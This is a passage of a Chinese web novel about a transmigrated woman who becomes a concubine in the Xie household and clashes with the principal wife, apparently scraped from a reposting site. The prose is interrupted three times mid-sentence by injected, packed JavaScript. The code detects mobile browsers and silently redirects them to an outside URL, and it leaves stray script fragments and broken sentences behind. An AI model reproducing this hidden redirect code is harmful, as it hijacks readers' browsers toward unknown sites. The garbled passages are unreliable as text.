寻真抬眸,恰恰对上谢漼的目光,脱口解释道:“……那什么,严嬷嬷没教我这个。” 谢漼不语,挽袖,露出一截手腕。拿起砚台,将其中多余的倒入一旁的小碟之中。 动作轻盈流畅,仿若行云流水。 寻真正犹豫是否将墨锭交给谢漼,让他自己磨墨。 未等她有所动作,谢漼的手已然伸来,修长且带着微微凉意的手指,握住了她的手。 寻真眼睫颤了颤,想挣脱束缚。 谢漼手上的力道紧了紧,不容抗拒。 “无妨,万事皆可从头学起,不必慌张。” 谢漼的声音低沉而温和。言罢,他便圈着她的手,研磨起来。 墨锭在砚台中缓缓转动,墨香渐渐四溢开来。 不多时,谢漼停下,松开了寻真的手,转而取过一支狼毫笔,笔尖轻沾墨汁,墨色在笔尖凝聚。 “如此,这般便好了。”谢漼抬眸,望向寻真,“可记住了?” 寻真垂首,手背上残留着几缕淡红色的指印,须臾间隐去。 淡淡的雪松气息飘来,萦绕在她的鼻尖。 谢漼的气息清冷而又独特。 寻真双脚仿若生根,钉在原地,望着自己的手,应了一声:“嗯。” 谢漼随即起笔作画。 笔画流畅,毫无滞涩之感,一气呵成。 一幅《游子观月图》跃然纸上。画中,一位身着青衫的游子独立于明月之下,衣袂飘飘,仰头望月。 谢漼外袍上,沾染了点点墨迹。 谢漼举画欣赏,念了两句诗。 随后,他提笔蘸墨,将诗句写下。又取了印章,在右下方盖章。朱红一点,缀于这墨色画卷上。 “真儿以为如何?”谢漼问道。 寻真站在一旁,歪头看。 她当然是念不出诗来的。 客观地说:“画得很好。” 谢漼看着寻真,轻声吟道:“月下观美人,秋水泛芙蓉。” 嗯? 美人。说她? 寻真脸上没什么反应。 她忍住一个哈欠,谢漼什么时候结束啊,她真的有点困了。 谢漼今日似是兴致颇高,又提笔开始创作。 “真儿若是乏了,便先去安歇罢。” 寻真正等这句话,赶忙应了一声,转身快步走向床榻。 头刚一沾上枕头,便沉沉睡去,至于谢漼什么时候上床的,她浑然不知。 11. 第 11 章 八月十八,晨曦微露。 寻真被丫鬟唤起,换上为纳妾仪式所备的服饰。 桃红色罗裙,绣着精致的花卉纹样,似有暗香幽浮。外披一件同色系的薄纱对襟长衫,领口与袖口皆以金线绣着连绵的回纹。 一头青丝挽成同心髻,金簪步摇、翠玉簪子交错插于发间。 桃红色的罗裳虽不及正红那般浓烈,却也似春日灼灼桃花,映得她面若云霞。 寻真轻握菱花镜,上下打量,只觉得镜中的人陌生又熟悉。 “姑娘真美!”丫鬟们的夸赞声此起彼伏。 谢漼静静立在厅中,寻真抬眸望去,顿时眼前一亮。 一袭绯色圆领大袖袍,腰间革带束身,玉佩悬垂。 阳光自外倾洒而入,落于他面上。 在阳光与红衣的映衬下,愈发显得面如冠玉,恰似那琼林玉树临于凡世。 桃花眼下的一点泪痣,在光晕中愈发娇艳欲滴。 谢漼往昔的清冷气质,此刻被这抹红色晕染出几分人间烟火味。 谢漼目光在寻真身上停留片刻,而后冲她伸出手。 寻真垂首,袖中的手攥了攥,伸出去。 谢漼宽大而温热的手掌将她握住,寻真只觉掌心潮热,不自在极了。 此后,她便被他牵着。 跨过朱漆院门,沿着深深长廊徐行。 仿若踏入了另一个世界。 寻真好奇地张望着这谢府的一砖一瓦。 楼阁重重,亭台错落,回廊蜿蜒曲折,雕梁画栋间尽显繁复华丽。 只是这墙院深深,似一道无形枷锁,莫名给人一种压抑感,心中一丝不安悄然蔓延。 一路之上,仆人们目光纷纷投向那并肩而行的少男少女。 刚入谢府不久的小丫鬟青禾,正匆忙走着,忽地停住了脚步。 金光下,那位公子面容俊美,气质脱俗,周身散发着一种令人无法逼视的光晕。 青禾自幼生长于市井,何曾见过如此出众的容貌与仪态,一时竟看得呆了。 一旁的丫鬟见她这般模样,赶忙伸手戳了戳她:“青禾,你看傻啦!” 青禾这才如梦初醒,却仍有些恍恍惚惚:“那个是谁?怎如仙人一般。” 那丫鬟似是早已习惯了旁人对公子的惊叹,脸上带着些许自豪与得意,回道:“咱们府中的五公子呀!那可是圣上钦点的状元郎!满腹经纶,才华横溢,不仅如此,生得更是俊美无俦,多少名门闺秀都倾慕不已呢。” 青禾听闻,不禁咋舌,喃喃道:“……原来那便是五公子,果真如传言一般,人中龙凤。那旁边的便是五公子的夫人么!” 她这话一出口,旁边的丫鬟顿时变了脸色,那眼神中瞬间闪过一丝鄙夷,撇了撇嘴道:“当然不是!”语气中满是不屑,“你刚进府,府中的很多事都不知,那位啊,不知使了多少心机手段,才攀上了五公子,哎,可怜五公子,那般清白正直之人,却被她迷惑,害得五公子……” 青禾心中好奇更甚,急忙追问道:“害得五公子怎么了?” 丫鬟赶忙四处张望了一番,见周围并无他人注意,才凑近青禾,压低声音,小心翼翼道:“这些不方便在这里说,晚上等回了房,我慢慢讲与你听。” 踏入祠堂,香烟袅袅,牌位森然林立。 谢漼率先拈起香烛,长身而立,敬拜。 寻真在一旁,亦步亦趋,学着谢漼的模样,下拜。 拜完祖先,二人沿着回廊徐行,继而步入正厅。 因为只是纳妾,只来了二房的一些长辈。 厅内,首位上端坐的是谢二爷谢彦成与其夫人。 谢漼与寻真并肩而至,二人一同跨过朱漆门槛。 刹那间,逆着那自外倾洒而入的绚烂阳光,屋内众人只觉眼前光影交错,难以真切辨明二人面容, 唯见两道身姿卓然,仿若自画中走出的一对璧人。 谢漼之才,名动当世,堪称人杰。 寻常之人,无论男女,一旦靠近他身畔,若萤火之于皓月,黯然失色,气质亦相形见绌,仿若矮了半截。 然此刻这新纳的妾室,亭亭玉立在他身侧,步伐沉稳,不疾不徐,神色间毫无谄媚与怯懦,尽显不卑不亢之态。 这般气度,令在场一众人等不禁心生疑窦。 此等风范,怎会是那出身贱籍之人所能拥有? 谢彦成目光在寻真身上流转,亦微露诧异之色。 眼前这女子,与他心中所预想的模样大相径庭。 观其风姿仪态,优雅从容,落落大方,怪不得能令一向清冷自持的侄儿另眼相待。 这般品貌,倒是与侄儿颇为契合。 “这是二伯。”谢漼于一旁轻声提点。 “二伯。”寻真启唇,双手捧起茶盏,恭敬地递向谢彦成。 谢彦成抬手接过茶盏,随后微微点头,缓声道:“既入了谢府门楣,往后需谨守本分,悉心侍奉五郎,且要遵循女德,勤勉用心,为谢府绵延子嗣,万不可有违家训,行差踏错。” “是。”寻真垂首应道。 寻真逐一向长辈们敬茶。 她机械地跟着谢漼,口中的称呼叫了一个又一个,也没记住谁是谁。 不过,这群长辈里怎么没谢漼的父亲? 一轮敬茶,寻真双腿酸痛起来,脚步开始虚浮。 一时不慎,被裙摆绊了一下,她心下暗叫不好。 糟了,不会要当众出丑吧? 谢漼眼疾手快,长臂一伸,稳稳圈住她的腰。 寻真只觉腰间一紧,整个人便被他扶起,立身站稳。 谢漼微微俯首,凑近她耳畔:“很快便好了。” 寻真轻应一声:“嗯。” 寻真抬眸,下一个是——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776133|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>是个美女,看年纪应该跟自己差不多。 不过,这美女看向她的眼神却很冷,透着丝丝寒意。 此时,谢漼的声音于寻真耳侧响起:“这是夫人。” 哦,谢漼他大老婆。 寻真从月兰手中接过茶盏,轻移上前,手臂前伸,姿势恭敬:“夫人。” 吕氏却并未即刻接过,她朱唇紧抿,美目中神色复杂难辨。 沉默良久,才抬手接过茶盏。 她只是嘴唇轻轻碰了碰杯沿,便算完成了这受茶之礼。 寻真垂首敛目,却仍能清晰地感觉到她的目光直直落在头顶。 一股冷飕飕的风蹿过脊背。 直至中午,正厅中摆下数张桌案,众人入席用饭。 待宴罢,这场纳妾仪式方算圆满完成。 寻真算是正式成为了谢漼的妾室。 众人散去。 谢漼转身,手掌再度向寻真伸来。 寻真询问的目光投去。 “随我来。”谢漼道。 吕氏亲眼目睹两人携手离去的背影,双手不自觉攥紧,指尖嵌入掌心。 回到内室,身旁的婆子上前劝慰道:“夫人莫要跟那个见不得台面的生气,方才老奴都瞧得真真的,她那般行径,不知在显摆什么威风,不过是小家子气的做派罢了,哪里能及夫人半分。” 吕氏苦笑:“五郎便是喜欢她这般的。” 宋嬷嬷接话道:“爷只是图一时新鲜罢了,今日见了,老奴这心里可算是踏实了。原以为是何等国色天香的人物,能把爷迷得神魂颠倒,如今看来,根本比不上夫人一根手指头。凝冬,你说对不对?” 凝冬连忙点头称是:“嬷嬷说的对极了,真真是比不上夫人的一根手指头。奴婢方才也细细看了许久,都没琢磨出来爷到底是看中她哪里……” 宋嬷嬷满脸不屑:“那腌臜地方出来的,能有什么拿得出手的手段,说来都污嘴。只可惜……教她运气好,逃过了!” 吕氏却仿若未闻,只是直直地盯着窗口,一声未吭。 宋嬷嬷:“要不是她侥幸诞下了小公子,哪有那么好的造化!” 谢漼引着寻真来到一处小屋。 推开门扉,屋内陈设简约,有一张小巧的床榻,床边坐着一位婆子。 见谢漼与寻真入内,婆子赶忙起身行礼。 谢漼抬手示意,令其退下。 屋内只剩寻真、谢漼以及床榻中那尚在襁褓的婴儿。 寻真走近床榻,握住床栏,目光落在那裹于锦被中的婴儿身上。 小家伙睡得正香,脸颊肉嘟嘟、软乎乎,粉嫩而惹人怜爱。 心口好似被扎了一下,密密麻麻的疼。 转瞬间,那疼痛又化作一汪水,满溢着疼惜。 谢漼道:“我为他取了一字,名璋,乃‘圭璋特达’之璋。乳名便唤作恒哥儿。” 12. 第 12 章 这是原身的骨血。 寻真凝视着这个熟睡的婴儿。 身体里还残留着原身的情感。 原身一眼都没见过自己的亲生孩子,就走了。 在这个时代,身为妾室。 亲生的孩子不能养于自己膝下,日后还要恭恭敬敬地唤他人为母亲。 寻真心头沉甸甸的。 谢漼:“你可在此处稍作停留,时辰差不多了,我让承安送你回去。我尚有事务缠身,先行一步。” 寻真:“好。” 谢漼走后,寻真俯身,伸出指尖,戳了戳婴儿如羊脂玉般的脸颊。 婴儿睁开了一双乌溜溜的大眼睛,澄澈而明亮。生得玉雪可爱。 眉眼之处,恰似谢漼的神韵。 鼻唇间又隐隐约约好似有几分寻真的影子。 寻真走近,与婴儿对视。而后,她在小床旁坐下,趴在床栏上,手随意地搭着。 有些无聊地看着他。 也不知道谢漼口中的“稍作停留”是多久。 婴儿睁着大眼睛,好奇地看了寻真一会儿,冲着她伸出小手来。 寻真伸出一根食指过去。 婴儿那小小的五指瞬间将她的手指握住,紧紧不放。 寻真的心中刹那间生出一种奇异而微妙的感觉,仿若有一股暖流自指尖流淌至心田。 她晃了晃手指:“可怜宝宝,你亲妈已经没了……” 半个时辰后,谢漼的人来了。 承安得了令前来,爷特地跟他说了,若是姨娘不舍,可再容她待上片刻。 却不想,寻真并无半分不舍之意,见他来了,起身,理了理裙摆,她头也不回地离去。倒是奇了。 窗格间透进来的阳光,斑驳陆离,洒在婴儿的脸上。 婴儿不哭不闹,安静得如同瓷娃娃一般,小脸微微歪过去,清澈的眼眸看向门的方向,似是在追寻那离去之人的身影。 寻真回到院子,总算能透口气了。 众丫鬟见她归来,皆满面喜色,盈盈福身,齐喊她“姨娘”。 声音在庭院中此起彼伏,寻真怎么听都觉得别扭,但也没阻止,随她们叫。 内屋,月兰和引儿替她除去身上繁复的首饰。 寻真躺在榻上。月兰和引儿分立两侧,为她捶腿捏肩。 月兰:“奴婢方才瞧见爷带您走了,是不是去见小少爷了?” 寻真:“嗯。” 月兰顿时来了兴致,眉飞色舞地说道:“我听旁人说,小公子长得极像爷,那眉眼、那轮廓,简直是一个模子里刻出来的,说不定也是个文曲星再世哩。等小少爷长大了,姨娘您可就有福啦。” 寻真脑海中浮现出那婴儿的模样,确实挺像谢漼,是天生的美男胚子。 不过智商就不一定遗传了。 听说谢漼他亲爹没什么出息,生母也身份低微。 还不是基因突变生出个谢漼? 寻真:“今天我怎么没看见四爷?” 寻真说的四爷,正是谢漼的生父。 虽说谢漼自幼由谢二爷教养,可这纳贵妾之仪,对谢漼来说,也算是件大事儿了,他的生身父亲却连面都不露。 月兰:“这……奴婢实在不知。四爷已接连多日不在府中了。”月兰幽幽地叹了口气,接着道:“说来,爷也着实是个可怜之人呐。那般优秀出众的好儿郎,亲生父亲却毫不重视,将一应事务都推诿给二爷,对爷不管不顾,真叫人唏嘘。” 寻真点了点头,想起谢漼那大老婆渗人的目光。 “上次那个掐我脖子,想弄死我的人,是谁派来的?” 月兰神色顿时一滞,面露迟疑之色,并未言语。 月兰不说,寻真大概也能猜出来。 自正式有了名分,寻真的待遇陡然提升了一个档次。月例从十五两增至二十两,还可以开小厨房,不必再受府中大厨房膳食的拘限。 出行也比以往自由了许多。 照月兰说的,寻真如今已入了谢家族谱,尽管出身贱籍,却也得了家族的承认。 如此一来,生命安全有了切实保障。虽然奴仆们依旧会在背地里窃窃私语、指指点点,但到底不敢公然欺凌于她。 既已身为主子,哪怕出身低微,身份地位终究是压着那些奴仆的。若有那不知死活的恶仆胆敢冒犯到她面前,她大可依着府中的规矩直接将其打杀,旁人亦难以置喙。 一开始,谢漼为寻真安排的院子坐落于府中的最西面。 那处地方颇为偏远,谢漼每回前来,都需沿着蜿蜒的回廊与小径走上一刻钟。 谢漼一直有为她迁院的念头。 “给你换的院子,较此处更为宽敞,再多拨些丫鬟仆子给你。明日便搬过去吧。” 新院子离谢漼的静远居很近,中间仅隔着一条幽僻的小道,可谓是相邻而居。 这几日寻真偶有闲暇,便会出去散心。 发现这院子后面有一方小池塘,只因位置过于偏僻,奴仆们时常疏懒,未加悉心照料,以致塘边疯长了许多杂草,一片荒芜景象。 然而池塘中的鱼儿却甚是活泼,在水中欢快游弋,引得寻真心头一动,起了捉上几条烤来尝尝的念头。 这院子偏了些,却似被尘世遗忘的一方小小天地,反倒让寻真有了些自由的感觉。 而且寻真也知道她这里远,谢漼来一趟不太方便,要走很久。 要换个院子,近了,谢漼天天来找她,怎么办? 现在这个一周最多来两次的频率,挺好! 谢漼是酉时来的。 用过晚膳,便跟她提及了迁院之事。 寻真脑子里很快过了一遍利弊,脱口而出:“我能不能不换?” 谢漼此番言语,分明是直接安排,不过通知罢了。 一旁侍奉的月兰与引儿,听闻主子此言,不禁惊愕万分,心中暗忖:姨娘如今真是愈发胆大了。 两人心底顿时忐忑不安起来。 谢漼掀起眼皮,目光投向寻真。 寻真被瞧得气弱几分,鼓起勇气又道:“我在这儿住惯了,这儿挺好的,还有,丫鬟已经够多了,不用再安排了。” 谢漼凝视她良久,淡淡吐出二字:“随你。” 往常用过饭,若谢漼无意留宿,总会解释一二,或是称有公务在身亟待处理,或是言及其他琐事。然此刻,他却径直起身离去,未作丝毫解释。 待谢漼身影远去,月兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776134|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住道:“姨娘,您刚才怎的直接回绝爷了,爷是一片好心呀,特意给您换大院子。” 引儿在一旁附和:“是呀,爷看上去似乎是生气了呢。” 生气了?他气啥? 寻真:“我话都说出口了,还能怎么着?” 寻真觉得很好,谢漼还是别来了,要不就多去去他大老婆的院子。 她承受了太多他大老婆的怨气了。 一日,寻真兴致高昂,一头扎进了小厨房,捣鼓起蛋糕来。 失败数次。 寻真亲自守在炉灶前,盯着火候。脸被烟熏得灰扑扑的。 反复尝试,直至蛋糕第二十八次出炉。 寻真切开冒着热气的蛋糕,刹那间,一股香甜的气息扑鼻而来,弥漫在整个厨房之中。 丫鬟们皆围拢过来,一个个睁着好奇的眼睛,看着这从未见过的新奇甜点。 寻真尝了一小口,虽然比不上现代那般松软细腻,可味道却也大差不差了。 寻真将蛋糕一块块切开,让月兰和引儿分给院里的丫鬟小厮们。 小丫鬟们都是小学生的年纪,脸庞稚嫩青涩。 她们稀奇地捧着蛋糕,左瞧右看。 寻真端着自己那份,走进屋内。 而院中的小丫鬟们围作一团,你一言我一语,好不热闹。 其中一个小丫鬟小心翼翼地尝了一口,眼睛亮起来,忍不住惊叹道:“我从未吃过如此美味的糕点!” “真好吃!” “姨娘真好,姨娘是我见过最好的人!” 这些小丫鬟们刚进这院子时,心中皆是惶恐不安。 因听闻这院子里上一批丫鬟几乎都被发卖出去,甚至还有被活生生打死的,每日都胆颤心惊地伺候着,生怕稍有差池便落得个悲惨下场。 可没想到主子是这样心善的人。 姨娘从不曾无故打骂她们,即便是她们失手摔碎了珍贵物件,也不会责罚。 见她们害怕得掉泪,姨娘还会柔声安慰,哄小孩儿似的。 如今还亲自做东西给她们吃,上哪找这么好的主子! 内室,寻真盘腿坐在椅子上。 月兰眉头微微一蹙,没说什么。 自寻真有了贵妾名分之后,月兰的态度有了转变。 以往,若寻真做出这等不雅动作,月兰定会不管不顾地全力劝诫。或许是因寻真身份已然稳固,月兰的心也随之安定了。 她心想,只要爷未曾瞧见这一幕,在屋内倒也并无大碍。 她与引儿多加留意,爷来了,提醒便是了。 引儿手捧温热的锦帕,为寻真擦拭沾了灰的脸。 月兰的目光落在蛋糕上,提议道:“姨娘亲自做了这般美味的点心,不若叫瑞宝也给爷送去一份尝尝?” 寻真望向月兰,有些无语。 妹子,你适合去宫斗本里当丫鬟! 寻真:“别了吧,我们自己都不够吃。” 月兰:“奴婢们怎么好跟爷相提并论——” 寻真抬手揉了揉耳朵:“你们下去各忙各的吧,我一个人静静。” 月兰:“姨娘……” 寻真连连摆手:“下去吧,下去吧。” 13. 第 13 章 寻真开始锻炼,每天在院子里蛙跳、沿着围墙小跑。 运动时,寻真都会让丫鬟们回各自的屋。 院子里没人,她也自在些。 “姨娘,姨娘。”引儿匆匆小跑而来。 “怎么了?” 寻真双手托着后脑,轻轻蹦跃,额间汗珠密布, 这身体太弱了,稍微运动下,就累了。 “方才惠宁院的宋嬷嬷来了!” 惠宁院。 谢漼大老婆的院子。 寻真起身,将扎在腰间的裙摆放下。 本来只想穿条中裤锻炼,月兰说什么都不肯,还劝她。 “姨娘欲强健身体,多走动走动便是了,如孩童般跑跑跳跳,若为爷瞧见……” 寻真直接打断她施法:“那我在锻炼的时候,你们帮我在院门口盯着,他不就不会发现了?” 月兰稍作妥协:“仅着中衣万万不可,实在有失体统。” 引儿:“是啊,姨娘,小丫鬟们也会瞧见的,若传扬出去,委实不妥。” 无奈之下,寻真只能穿着累赘的衣裙锻炼。 听谢漼大老婆派人来找她,寻真心下顿感不妙,一边抹汗,一边朝屋内走去,月兰呈上水,寻真喝了半口,喘匀了气问:“来找我干嘛?” 引儿将宋嬷嬷说的话复述:“姨娘既已获名分,如今礼数不可荒废,晨昏定省之事切不可免……宋嬷嬷这般说的。” 晨昏定省。 意思就是——早晚都得去谢漼他大老婆那儿报道? 寻真一脸天塌了:“……不去行吗?我以前不是也不用去?” 月兰:“按礼数,姨娘是得去的。” 寻真大受打击。 引儿叹道:“若爷能恩准姨娘免了请安,便好了。” 谢府中,不是没有这样的特例,格外受宠的妾室能免了请安,只是那日姨娘回绝了爷的安排,到现在,爷已六日没来了…… 月兰想了想,道:“姨娘,不若等会儿我托瑞宝去爷那儿,说您身体不适吧?” 啊? 寻真咬咬牙,不就是请安吗? “我去!” 还能把她怎么着? 翌日,天还没亮,月兰就把寻真叫醒了。 寻真挣扎地从被窝中起身,满脸怨念。 这比她高三那年都起得早了。 内心瞬间滑跪了,要不还是讨好一下谢漼吧? 月兰仿佛知道她心中所想,一面给她盘发,一面暗示般说道:“爷许久没来了,也不知何时会记起姨娘,下回爷来,姨娘可不能像上回那般行事了。” 寻真嗯嗯含糊应着。 谢漼大老婆的院子比寻真的要大很多。 寻真到了后,那宋嬷嬷出来了,说夫人还没醒,让她稍作等候。 也不让她进去坐,寻真就只能在庭院里站着等。 这一等就是一小时。 宋嬷嬷出来了,脸凶巴巴的,瞪着寻真:“夫人今日身子不适,不便见外人,姨娘且先回吧。” 寻真走后,宋嬷嬷进了屋子。 吕令萱舀起一勺羹汤,轻啜一口:“如何?” 宋嬷嬷欠身,回道:“方才老奴让她在院中候着,观其神色,并无丝毫不悦之色,依老奴之见,此女性子绵软,极易拿捏。” 吕令萱:“果真如此?” 宋嬷嬷嘴角浮起一抹笃定笑意:“她那般出身,量她也不敢兴风作浪。夫人尽可宽心,这几日且先挫挫她的锐气,所谓恩威并施,待这杀威棒使过,再予些许甜头,保管她对夫人服服帖帖。” 一旁的凝冬仍有担忧:“倘若她向爷哭诉,又该如何是好?” 宋嬷嬷嗤笑一声,胸有成竹地说道:“不过才一日而已,晨昏定省本就是妾室分内之事,夫人不过略加教导。她若连这一日都忍耐不得,如此恃宠而骄,爷岂能一味纵容?她那福分也就到头了!” 凝冬:“嬷嬷所言极是。” 寻真回到院子后。 两丫鬟都气死了。 寻真躺在榻上,引儿给她揉着腿,眼睛红红的:“夫人就是故意的,若以后日日如此给姨娘立规矩,可如何是好?” 月兰:“明日想来也是这般情形了……姑娘才出了月子不久,身子还没养好呢,万一落下了病根可怎么办?” 寻真拍拍两丫鬟的腿:“你们也都坐下,休息休息,刚才站了那么久,都累了吧。” 两人道:“奴婢不累。” 寻真刚才看得很清楚,那嬷嬷的眼神装着满满对她的敌意。 纵是寻真不想宅斗,也要被逼得拖进那个圈子里。 寻真思前想后,对两丫鬟说:“走吧,我们去做蛋糕。” 引儿被她跳跃性的思维弄得一愣,怎么突然就要说做蛋糕了。 月兰立刻懂了:“是!” 谢漼下了值,在书房处理公务。 进去前吩咐承安,若无要事,不要来打搅。 承安称是,爷办公时不喜旁人搅扰。 只是清挽院那边掐着爷下值的时间送来点心,分明是有事求见。承安思忖再三,终是没说,想着等爷处理完紧要公务再说也不迟。 那头,寻真一直等着,撑着下巴。 直到亥时,仍不见谢漼身影。 月兰叹一口气:“看来爷今日是不会来了,姨娘,早些睡吧,明日还要早起去夫人那儿请安呢。” 寻真傍晚的时候也去了谢漼大老婆的院子,还是一样,在院子里罚站一小时。 这要是天天都这样,日子还怎么过? 寻真这下有点后悔了, 那天是不是不该拒绝谢漼? 这人怎么那么小气呀!这就生气了? 谢漼步出书房之时,已然夜深漏残。 承安向前,示意仆人将糕点呈上,禀道:“此乃柳姨娘遣人送来的糕点。瑞宝说,此糕是姨娘亲入庖厨所制,名曰蛋糕。” 谢漼瞥了那糕点一眼,问道:“何时送来?” 承安:“爷下值之际。” 谢漼迈向院门,边走边问:“今日发生了何事?” 承安相随其后,低声回禀:“听闻夫人那边传姨娘前去立规矩,晨夕皆往。姨娘在庭院中,足足站了半个时辰。” 谢漼微微颔首,面上喜怒难辨,教人难以揣测其心中所思。 寻真躺在床上,闭着眼睛,正酝酿睡意。 室外传来一阵急促的脚步声,接着听见月兰惊喜的声音。 “姨娘,快快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776135|157910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来!爷来了!” 月兰与引儿服侍寻真穿衣,整理仪容。 寻真神志迷糊,眼神惺忪。 正值夏末,暑气仍未散尽,燥热难耐,室外了无一丝风息。 这个时刻,无需刻意妆扮得齐整,月兰只取一件薄衫,为寻真披上。 谢漼坐于案前,丫鬟轻手轻脚奉上热茶。 他轻捏茶杯,随手拿起寻真搁在案上的书,翻开。 是那本《灵狐志异》。 寻真快看完了。 今天正好看到书生与小狐狸互诉钟情、终成眷属。 有一段情节颇为香艳。 好不容易看到点肉沫,寻真来回看了好几遍,还特意将那页折了出来。以便日后回味。 此刻,谢漼正凝视着寻真折出的那一页。 那段文字,寻真还记得—— 只见那小狐狸幻化成的妇人,貌若天仙下凡,容光绝代, 书生乍见之下,魂魄皆失。情难自抑间,将那美妇人拽入怀中,双手紧箍其纤细腰肢,握住那莹白似玉的手腕,情意绵绵而言:“娇娇,我今日方悟了那句‘牡丹花下死,做鬼也风流’。” 美妇人纤纤玉指抵住书生的唇,嗔怪道:“不许相公说那个字,相公定要与我做一世恩爱夫妻。” “娇娇,今夜月色旖旎,莫要辜负这良辰美景。” 书生抱了美妇人进罗帐,解其衣裙丝带。 美妇人羞怯怯挽住书生脖颈:“相公,可要怜惜妾身呀!” 书生低声抚慰:“娇娇莫怕,为夫自会好好疼爱于你……” “啊……相公且慢……” …… 谢漼怎么总是恰好抓到她看黄色? 搞得人怪尴尬的。 月兰于一旁向寻真使了个眼色。 寻真磨磨蹭蹭地过去,到谢漼身后。 他还看着那一页,并未吭声。 寻真又看了眼月兰,硬着头皮,将双手轻轻搭在谢漼双肩上,略显生涩地捏按起来。 因靠得近了,嗅得谢漼身上似有淡淡墨香萦绕。 寻真莫名感到脊背一阵发麻。 她垂首望去,正瞧见谢漼那挺直的鼻梁,以及眼角那颗淡红如樱瓣的泪痣, 庆幸了下,还好不是什么啤酒肚、地中海。 不然她真是宁愿天天被罚站。 “爷。”寻真唤了一声。 谢漼嗯了一声,目光仍在书上。 “今日,我去了夫人的院子请安。” 谢漼单手合上书本,置于一侧。 修长手指随意地搁在桌案上,在烛火映照之下,光影交错,煞是好看。 寻真心想,宫斗剧宅斗剧里一句话要拐十八个弯那种说法,她实在学不来。 于是开门见山说:“夫人早晚各让我站了半个时辰……我身体有些不适,可不可以……” 内室分外安静,烛火静静摇曳着。 “可不可以不去请安呢?” 终于说出口了! 谢漼未即刻回应,寻真心中一紧,给他捏肩的手停了下来。 烛光将谢漼的轮廓晕染得有几分朦胧。 俄顷,寻真听见他清冷的声音:“晨昏定省,乃妾室的本分。” 14. 第 14 章 寻真盯着他的头顶,咬紧后牙。 亏她还亲手做了小蛋糕给他吃! 寻真语塞,站他身后后,也不再给他按肩。 有点纠结。 一时不知是该继续发发力,还是直接放弃得了。 谢漼却转过身来,斜倚桌案,手肘支于其上,单手托腮。 那般姿态,甚是风流。 “这便恼怒了,嗯?” 他尾音轻扬,恰似鱼钩,探入寻真耳中,引得心间一阵轻痒。 寻真颇不自在地避开谢漼的视线。 向前,想把那本《灵狐志异》放回架上。 然而因为这一天站久了,一抬腿,便觉腿力不支,身子陡然一晃。 竟直直朝着谢漼方向倾扑而去。 鼻端扑入雪松香、墨香,还有一缕难以名状的属于谢漼的独特气息。 寻真瞬时僵住, 她现在正坐在谢漼大腿上。 谢漼顺势抱住了她,一手搂着她的腰,一手搭在她腿上。 丫鬟们恭立在厅中,内室里两位主子的言语隐隐约约飘出来,模糊难辨。 月兰一直担忧自家主子不通风月之事,自失忆后,做的样样事都出人意表。 爷没来之前,主子还虚心请教了。 月兰便说,给爷捶捶肩捏捏腿,对爷百般柔顺,莫要逆着爷来就行了。 主子听了,瞧那脸上难以接受的模样,好似怎么为难她了般。 如今见主子主动跌入爷的怀抱,月兰心下大安,轻扯引儿衣袖,示意众丫鬟皆退下。 房内一片静谧,唯烛火悠悠晃动,光影摇曳。 谢漼隔着那一层薄薄罗衫,捏了一下她的腰。 寻真懵了数秒。 谢漼的容颜近在咫尺。 寻真被美颜攻击了下,略有恍惚,很快回过神来。 他的视线似有若无,貌似看的是—— 她胸口处。 色胚! 寻真脸轰的一热,从谢漼大腿上跳下来。 连连往后退几步,还捂住了胸口。 让她主动舔谢漼,真的做不到! 算了,明天还是罚站吧! 谢漼却未恼怒,反倒起身,朝她走近。 寻真紧捏衣领,说出了那句台词:“你、你要干什么?” 寻真一步步退,谢漼一步步逼近。 他未发一言,只那双桃花眼紧紧锁住她的视线。 在那样极具压迫感的视线下,寻真几乎透不过气来。 直至退无可退,寻真后背抵住床架,冰凉触感透衣而入。 谢漼于她身前站定,拈起她肩边一缕发丝,细细把玩。 良久,谢漼启唇:“我倒很想问问真儿,为何如此惧怕于我?” 寻真扯着两边衣服,一副生怕他做什么的样子。 谢漼放下那缕发,看着她道:“更衣。” 寻真站在原地没动,谢漼就等着。 目光落在谢漼的腰际。 他身着织锦长袍,腰间束一条革带,上面镶嵌着的宝石在烛光下闪烁着幽秘的光泽。 她没脱过男人衣服。 更不懂古代服饰的结构。 寻真的目光在革带上转了一圈。 头顶落下一个声音。 清而凉:“还愣着做什么? 寻真唔了一声,只能硬着头皮上手去找了。 应该跟皮带差不多吧? 她双手轻轻触上去,指尖按压,沿着革带绕了一圈。 没找到类似扣子的东西。 难道在腰侧,又或者是在背后? 寻真纠结片刻,指尖更为轻缓地触着革带,围着谢漼的腰,慢慢地从前面摸索到了后面。 她全神贯注地寻找着,没注意到头顶上方的呼吸声似乎缓了下来。 